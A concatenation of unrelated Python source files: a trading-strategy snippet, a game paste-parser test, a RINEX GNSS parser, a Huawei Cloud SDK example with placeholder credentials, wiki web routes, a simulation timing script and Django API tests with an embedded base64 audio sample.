logger.info('Sector: {}'.format(sector('TelecommunicationServices')))
logger.info('Concept: {}'.format(concept('民营医院', '国企改革')))
# logger.info('Devidend:\n{}'.format(get_dividend('000001.XSHE', start_date='20130104')))
logger.info('Trade Dates: {}'.format(get_trading_dates(start_date='2016-05-01', end_date='20160505')))
logger.info('Previous Trade Date: {}'.format(get_previous_trading_date(date='2016-05-02')))
logger.info('Next Trade Date: {}'.format(get_next_trading_date(date='2016-05-02')))
logger.info('Yield Curve: {}'.format(get_yield_curve('20130104')))
def handle_bar(context, bar_dict):
# Get contract pool
# logger.info(context.universe)
# Use bar_dict[order_book_id] to get the bar info
# logger.info(bar_dict[context.s1])
# Use context.portfolio to get investment portfolio till now
# logger.info(context.portfolio)
# logger.info(context.portfolio.cash)
# logger.info(context.portfolio.positions[context.s1].quantity)
# Calculate current position in portfolio
# cur_position = context.portfolio.positions[context.s1].quantity
# Calculte how many stocks we can buy with all available cash
# shares = context.portfolio.cash / bar_dict[context.s1].close
# logger.info(shares)
# Use history_bars to get history bars as list
# logger.info(history_bars(context.s1, 5, '1d', 'close'))
# Get current snapshot
# logger.info(current_snapshot(context.s1))
# 使用order_shares(id_or_ins, amount)方法进行落单
pass
if __name__ == '__main__':
from ialgotest.conf.generate_config import gen_conf
run(gen_conf(__file__))
|
"""
tests.parsers.industry
~~~~~~~~~~~~~~~~~~~~~~
Industry table tests
"""
from evepaste import parse_industry
from tests import TableTestGroup
INDUSTRY_TABLE = TableTestGroup(parse_industry)
INDUSTRY_TABLE.add_test('''Tritanium (4662 Units)
Pyerite (1857 Units)
Mexallon (1027 Units)
Isogen (44 Units)
Nocxium (51 Units)''', ([
{'name': 'Isogen', 'quantity': 44},
{'name': 'Mexallon', 'quantity': 1027},
{'name': 'Nocxium', 'quantity': 51},
{'name': 'Pyerite', 'quantity': 1857},
{'name': 'Tritanium', 'quantity': 4662}],
[]))
INDUSTRY_TABLE.add_test('''Strontuim Clathrates (1 Unit)''',
([{'name': 'Strontuim Clathrates', 'quantity': 1}],
[]))
|
class UserTechnology:
def __init__(self, name, skill, endorsements):
self.name = name
self.skill = skill
self.endorsements = endorsements
@classmethod
def from_dict(cls, dict_):
return UserTechnology(
name=dict_["name"],
skill=dict_["skill"],
endorsements=dict_["endorsements"],
)
def to_dict(self):
return {
"name": self.name,
"skill": self.skill,
"endorsements": self.endorsements,
}
def __eq__(self, other):
return self.to_dict() == other.to_dict()
def __repr__(self):
return "{}(name={!r}, skill={!r}, endorsements={!r})".format(
self.__class__.__name__, self.name, self.skill, self.endorsements
)
|
"""A parser for reading RINEX observation files with version 3.xx
"""
# Standard library imports
from datetime import datetime
from typing import Any, Dict, List, Optional, Union
# Third party imports
import numpy as np
import pandas as pd
# Midgard imports
from midgard.dev import plugins
from midgard.parsers.wip_rinex_obs import RinexObsParser
from midgard.parsers.wip_rinex3_obs_header import Rinex3ObsHeaderMixin
@plugins.register
class Rinex3ObsParser(Rinex3ObsHeaderMixin, RinexObsParser):
"""A parser for reading RINEX observation files with version 3.xx
"""
# ----+----1----+----2----+----3----+----4----+----5----+----6----+----7----+----8
# > 2018 2 1 0 0 0.0000000 0 30
EPOCH_FIELDS = {
"identifier": (0, 1),
"year": (2, 6),
"month": (7, 9),
"day": (10, 12),
"hour": (13, 15),
"minute": (16, 18),
"second": (19, 21),
"frac_sec": (21, 29),
"epoch_flag": (30, 32),
"num_data_lines": (33, 35),
}
@property
def systems(self):
return sorted(self.data.keys())
def parse_epoch_line(self, line) -> Dict[str, Any]:
"""Read data from Rinex file
Add data to self.data
"""
print(f"parse_epoch_line({line})")
fields = {k: line[slice(*v)].strip() for k, v in self.EPOCH_FIELDS.items()}
if fields["identifier"] != ">":
self.error(f"Line {line.strip()!r} is not an epoch line as expected")
epoch = datetime(
int(fields["year"]),
int(fields["month"]),
int(fields["day"]),
int(fields["hour"]),
int(fields["minute"]),
int(fields["second"]),
round(float(fields["frac_sec"]) * 1e6), # microseconds
)
num_data_lines = int(fields["num_data_lines"])
return num_data_lines, dict(epoch=epoch, epoch_flag=fields["epoch_flag"])
def parse_data_lines(self, lines, epoch_info) -> Dict[str, Any]:
"""Read one section of data lines
"""
obs_types = self.header["obs_types"]
for line in lines:
system, satellite, data = line[:1], line[:3], line[3:].strip("\n")
if system not in obs_types:
self.error(f"Unknown system {system!r} for satellite {satellite!r}")
if system not in self.data:
self.data[system] = {k: list() for k in ["satellite", "epoch"] + obs_types[system]}
system_data = self.data[system]
system_data["satellite"].append(satellite)
system_data["epoch"].append(epoch_info["epoch"])
data_fields = [data[i : i + 16] for i in range(0, len(data), 16)]
for field, value in zip(obs_types[system], data_fields):
try:
system_data[field].append(float(value[:14]))
except ValueError:
system_data[field].append(np.nan)
def as_dataframe(self, system: str, index: Optional[Union[str, List[str]]] = None) -> pd.DataFrame:
"""Return the parsed data as a Pandas DataFrame
This is a basic implementation, assuming the `self.data`-dictionary has
a simple structure. More advanced parsers may need to reimplement this
method.
Args:
sys: Which system to create a datafrom for.
index: Optional name of field to use as index. May also be a list of strings.
Returns:
Pandas DataFrame with the parsed data.
"""
df = pd.DataFrame.from_dict(self.data[system])
if index is not None:
df.set_index(index, drop=True, inplace=True)
return df
|
# -*- coding:utf-8 -*-
# Copyright 2019 Huawei Technologies Co.,Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use
# this file except in compliance with the License. You may obtain a copy of the
# License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed
# under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
# CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
import sys
from openstack import connection
# create connection
username = "xxxxxx"
password = "xxxxxx"
userDomainId = "xxxxxxxxxxxxxxxxxxxxxxxxxxxx" # user account ID
auth_url = "xxxxxxxxxxxxxxxxxxxxxxxxxxxx" # endpoint url
if __name__ == '__main__':
conn = connection.Connection(auth_url=auth_url,
user_domain_id=userDomainId,
domain_id=userDomainId,
username=username,
password=password)
data = {
"customerId": "xxxxxxxxxxxxxxxxxxxxx",
"identifyType": 0,
"verifiedType": 0,
"verifiedFileURL": [
"zhengmian.jpg",
"fanmian.jpg",
"chizheng2.jpg"
],
"name": "NAME",
"verifiedNumber": "xxxxxxxxxxx",
"changeType": -1,
"xaccountType": "xxxx_IDP"
}
'''
This API can be used to submit an individual real-name authentication application.
This API can be invoked only by the partner account AK/SK or token.
'''
ff = conn.bssintl.individual_realname_auth(userDomainId, **data)
print(ff)
data = {
"customerId": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"identifyType": 1,
"certificateType": 0,
"verifiedFileURL": [
"zhengmian.jpg",
"fanmian.jpg",
"chizheng2.jpg"
],
"corpName": "xxxxxxxxxxxxxx",
"verifiedNumber": "220002",
"regCountry": "CN",
"regAddress": "nanjing",
"changeType": -1,
"xaccountType": "xxxxxxxxxxxxxxxxx",
"enterprisePerson": {
"legelName": "xxxxxxxxxxxxxxxxx",
"legelIdNumber": "xxxxxxxxxxxxxxx",
"certifierRole": "legalPerson"}
}
'''
This API can be used to submit an enterprise real-name authentication application.
This API can be invoked only by the partner account AK/SK or token.
'''
ff = conn.bssintl.enterprise_realname_auth(userDomainId, **data)
print(ff)
data = {"customerId": "xxxxxxxxxxxxxxxxxxxxxxx",
"identifyType": 1,
"certificateType": 0,
"verifiedFileURL": [
"zhengmian.jpg",
"fanmian.jpg",
"chizheng2.jpg"
],
"corpName": "xxxxxxxxxxxxxxxxxxxxxx",
"verifiedNumber": "220002",
"regCountry": "CN",
"regAddress": "nanjing",
"changeType": '1',
"xaccountType": "xxxxxxxxxxxxxxxxx",
"enterprisePerson": {
"legelName": "xxxxxxxxxxxxxxxx",
"legelIdNumber": "xxxxxxxxxxxxxxxxxxxxxx",
"certifierRole": "legalPerson"
}}
'''
This API can be used to submit a real-name authentication change application.
This API can be invoked only by the partner account AK/SK or token.
'''
ff = conn.bssintl.change_enterprise_realname_auth(userDomainId, **data)
print(ff)
data = {
"customerId": "06184258078025be0f84c0031df9e360"
}
'''
If the response to a real-name authentication application or real-name authentication change application indicates that manual review is required,
this API can be used to query the review result.
This API can be invoked only by the partner account AK/SK or token.
'''
ff = conn.bssintl.query_realname_auth(userDomainId, **data)
print(ff)
|
from Jumpscale import j
from .rooter import abort, env, app, package_route, redirect, static_file, PACKAGE_BASE_URL
@app.get("/wiki")
def list_all_wikis():
return env.get_template("wiki/home.html").render(wiki_names=j.tools.mdbook.list_books())
@app.get(f"{PACKAGE_BASE_URL}/wiki")
@package_route
def list_package_wikis(package):
return env.get_template("wiki/home.html").render(wiki_names=package.wiki_names)
@app.route("/<threebot_name>/<package_name>/wiki/<wiki_name>", method=["get"])
def wiki_by_name(wiki_name=None, threebot_name=None, package_name=None):
path = j.tools.mdbook.get_book_path(wiki_name)
if not j.sal.fs.exists(path):
err = f"""
couldn't load wiki {wiki_name}, not found in {j.tools.mdbook.output_path}
Try to reload the wiki and try again"""
return abort(404, err)
redirect(f"/wiki/{wiki_name}")
@app.route("/wiki/<wiki_name>", method=["get"])
def wiki_redirect(wiki_name=None):
redirect(f"/mdbook/{wiki_name}")
|
import matplotlib.pyplot as plt
import numpy as np
def schism_timing(workdir,start=1, end=None, block_days = 1.0):
import glob,os
sample="elev.61"
files = [os.path.split(x)[1] for x in glob.glob(os.path.join(workdir,"*_0000_%s" % sample))]
files.sort(key = lambda x: int(x[0:x.index("_")]))
blocks = [int(x[0:x.index("_")]) for x in files]
if end:
endndx = blocks.index(end)
print(endndx)
print(blocks)
else:
endndx = len(blocks)-1
startndx = blocks.index(start)
files = files[startndx:endndx]
blocks = blocks[startndx:endndx]
paths = [os.path.join(workdir,x) for x in files]
times = np.array([os.path.getmtime(x) for x in paths])
diffs = np.diff(times)/(block_days*3600.*24.)
if np.any(diffs < 0.0):
raise ValueError("Negative timing between files, which is impossible Old and new run mixed in one directory? Change analysis bracket?")
speed = 1./diffs
speedmean = np.mean(speed)
speedmed = np.median(speed)
print("Mean speed: %5.1f" % speedmean)
f, ax = plt.subplots()
ax.plot(blocks[:-1],speed)
ax.set_xlabel("Output block")
ax.set_ylabel("Speed (days/day)")
ax.axhline(y=speedmean)
ax.text(blocks[4],speed.min(),"Mean speed %5.1f (days/d)" % speedmean)
#ax2=ax.twinx()
plt.show()
def create_arg_parser():
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('--dir',default=".",type = str,help = 'Name of working directory')
parser.add_argument('--start', default = None, type=int,help = 'Start block (integer) of analysis.')
parser.add_argument('--end', default = None, type=int,help = 'End day (integer) of analysis.')
parser.add_argument('--blocklen', default = 1., type = float,help = "Number of simulated days in one output block")
return parser
if __name__=="__main__":
import sys
parser = create_arg_parser()
args = parser.parse_args()
workdir = args.dir
start = args.start
end = args.end
blocklen = args.blocklen
print(start)
print(end)
print(workdir)
print(blocklen)
schism_timing(workdir,start,end,blocklen)
|
from django.contrib.auth import get_user_model
from rest_framework.test import APITestCase, APIClient
from api.models import Pregunta, Auditoria, Respuesta, Sucursal, Incidente
class RespuestaViewTestCase(APITestCase):
def setUp(self):
self.client = APIClient()
self.user = get_user_model().objects.create_user(username='test', email='test@example.io', password='test123')
self.client.force_authenticate(user=self.user)
# recomiendo no abrir este test
def test_create_201(self):
test_suc = Sucursal.objects.create(nombre="Nuevo Centro", numero_de_sag="1", telefono="1")
test_suc2 = Sucursal.objects.create(nombre="Nuevo Centro", numero_de_sag="2", telefono="2")
audit1 = Auditoria.objects.create(sucursal=test_suc)
audit2 = Auditoria.objects.create(sucursal=test_suc2)
preg = Pregunta.objects.create(pregunta="El test funciona bien?", seccion="Adentro", categoria="DIGEFE", tipo="Audio", respuestas_correctas=["Si", "No"])
resp1 = self.client.post('/api/auditorias/respuesta/', {'auditoria': audit1.id, 'pregunta': preg.id, 'usuario': self.user.id})
self.assertEqual(resp1.status_code, 201)
def test_create_incidente(self):
test_suc = Sucursal.objects.create(nombre="Nuevo Centro", numero_de_sag="1", telefono="1")
test_suc2 = Sucursal.objects.create(nombre="Nuevo Centro", numero_de_sag="2", telefono="2")
audit1 = Auditoria.objects.create(sucursal=test_suc)
preg = Pregunta.objects.create(pregunta="El test funciona bien?", seccion="Adentro", categoria="DIGEFE",
tipo="Audio", respuestas_correctas=["Si", "No"])
gaston = get_user_model().objects.create(username="Gaston", email="sher@gmail.com", password="123456")
resp1 = self.client.post('/api/auditorias/respuesta/',
{'auditoria': audit1.id, 'pregunta': preg.id, 'usuario': self.user.id, 'respuesta': "si", 'notas': "Llamar a Gaston"})
inc = Incidente.objects.filter(asignado=gaston.id)
self.assertIsNotNone(inc)
self.assertEqual(resp1.status_code, 201)
def test_audi_no_finalizada(self):
test_suc = Sucursal.objects.create(nombre="Nuevo Centro", numero_de_sag="1", telefono="1")
audit1 = Auditoria.objects.create(id=1, sucursal=test_suc, finalizada=False)
preg = Pregunta.objects.create(pregunta="El test funciona bien?", seccion="Adentro", categoria="DIGEFE",
tipo="Audio", respuestas_correctas=["Si", "No"])
self.client.post('/api/auditorias/respuesta/',
{'auditoria': audit1.id, 'pregunta': preg.id, 'usuario': self.user.id})
resp1 = self.client.post('/api/auditorias/respuesta/',
{'auditoria': audit1.id, 'pregunta': preg.id, 'usuario': self.user.id,
'respuesta': "si"})
resp2 = self.client.post('/api/auditorias/respuesta/',
{'auditoria': audit1.id, 'pregunta': preg.id, 'usuario': self.user.id, 'respuesta': "no"})
respuestas = Respuesta.objects.filter(auditoria=audit1.id)
self.assertEqual(len(respuestas), 1)
def test_create_400(self):
test_suc = Sucursal.objects.create(nombre="Nuevo Centro", numero_de_sag="1")
test_suc2 = Sucursal.objects.create(nombre="Nuevo Centro", numero_de_sag="1", telefono="2")
Auditoria.objects.create(sucursal=test_suc)
Auditoria.objects.create(sucursal=test_suc2)
Pregunta.objects.create(pregunta="El test funciona bien?", seccion="Adentro", categoria="DIGEFE", tipo="Audio", respuestas_correctas=["Si", "No"])
get_user_model().objects.create(username="Sher", email="sher@gmail.com", password="123456")
resp = self.client.post('/api/auditorias/respuesta/', {'auditoria': 3, 'pregunta': 1})
resp2 = self.client.post('/api/auditorias/respuesta/', {'auditoria': 1, 'pregunta': 3})
resp3 = self.client.post('/api/auditorias/respuesta/', {'auditoria': 1, 'pregunta': 1})
resp4 = self.client.post('/api/auditorias/respuesta/', {'pregunta': 1})
resp5 = self.client.post('/api/auditorias/respuesta/', {'auditoria': 1})
resp6 = self.client.post('/api/auditorias/respuesta/', {'auditoria': 1, 'pregunta': 1})
self.assertEqual(resp.status_code, 400)
self.assertEqual(resp2.status_code, 400)
self.assertEqual(resp3.status_code, 400)
self.assertEqual(resp4.status_code, 400)
self.assertEqual(resp5.status_code, 400)
self.assertEqual(resp6.status_code, 400)
def test_audio(self):
test_suc = Sucursal.objects.create(nombre="Nuevo Centro", numero_de_sag="1")
test_suc2 = Sucursal.objects.create(nombre="Nuevo Centro", numero_de_sag="1", telefono="2")
audi = Auditoria.objects.create(sucursal=test_suc)
Auditoria.objects.create(sucursal=test_suc2)
preg = Pregunta.objects.create(pregunta="El test funciona bien?", seccion="Adentro", categoria="DIGEFE", tipo="Audio", respuestas_correctas=["Si", "No"])
usr = get_user_model().objects.create(username="Sher", email="sher@gmail.com", password="123456")
audio = "data:audio/mpeg;base64,SUQzAwAAAAAfdlRJVDIAAAAlAAAB//5OAHUAZQB2AGEAIABnAHIAYQBiAGEAYwBpAPMAbgAgADUAVFBFMQAAAAEAAABUQUxCAAAAAQAAAFRZRVIAAAABAAAAVENPTgAAAAEAAABUUkNLAAAAAQAAAENPTU0AAAAfAAAAZW5nAG9ubGluZS1hdWRpby1jb252ZXJ0ZXIuY29tAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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